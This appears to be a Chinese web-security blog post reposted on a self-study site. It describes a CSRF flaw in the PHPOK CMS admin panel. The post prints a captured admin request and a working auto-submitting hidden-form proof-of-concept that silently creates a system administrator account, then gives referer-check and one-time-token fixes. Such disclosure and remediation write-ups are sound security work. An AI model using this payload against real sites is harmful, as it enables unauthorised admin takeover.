好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

PHPOK CSRF获取管理员权限及修复 - 网站安全 - 自学

测试环境(PHPOK):

 

 

添加用户:

 

抓包抓到如下内容:

 

 

Host: www.evil.com

 

Proxy-Connection: keep-alive

 

 

 

 

Origin: http://www.evil.com

 

 

Content-Type: application/x-www-form-urlencoded

 

Referer: http://www.evil.com/phpok/admin.php?c=admin&f=set

 

Accept-Encoding: gzip,deflate,sdch

 

 

Cookie: PHPSESSION=c003810ffea32e03358eb66d6a1a81cb

 

 

 

 

 

 

 

发现没有加token,查看 源码 也没有看到判断referer。 所以可能存在CSRF,于是构造如下POC:

 

<div style="display:none">

 

<form action="http://www.evil.com/phpok/admin.php?c=admin&f=save" id="poc" name="poc" method="post">

 

<input type="hidden" name="id" value=""/>

 

<input type="hidden" name="account" value=""/>

 

<input type="hidden" name="pass" value=""/>

 

<input type="hidden" name="email" value=""/>

 

<input type="hidden" name="status" value=""/>

 

<input type="hidden" name="if_system" value=""/>

 

<input type="submit" name="up" value"submit"/>

 

</form>

 

<script>

 

var t = document.poc;

 

t.account.value="evil";

 

t.pass.value="evil";

 

t.email.value="evil@qq.com";

 

t.status.value="1";

 

t.if_system.value="1";

 

document.poc.submit();

 

</script>

 

</div>

 

 

 

 

打开POC页面前:

 

打开后:

 

为此添加管理员成功。。。

 

 

 

理论上是通杀所有版本的。。。

修复方案:

1. 判断referer来源,根据业务的逻辑进行referer的过滤。

 

2. 添加一次性token,同时注意随机不可预测性!

查看更多关于PHPOK CSRF获取管理员权限及修复 - 网站安全 - 自学的详细内容...

  阅读:85次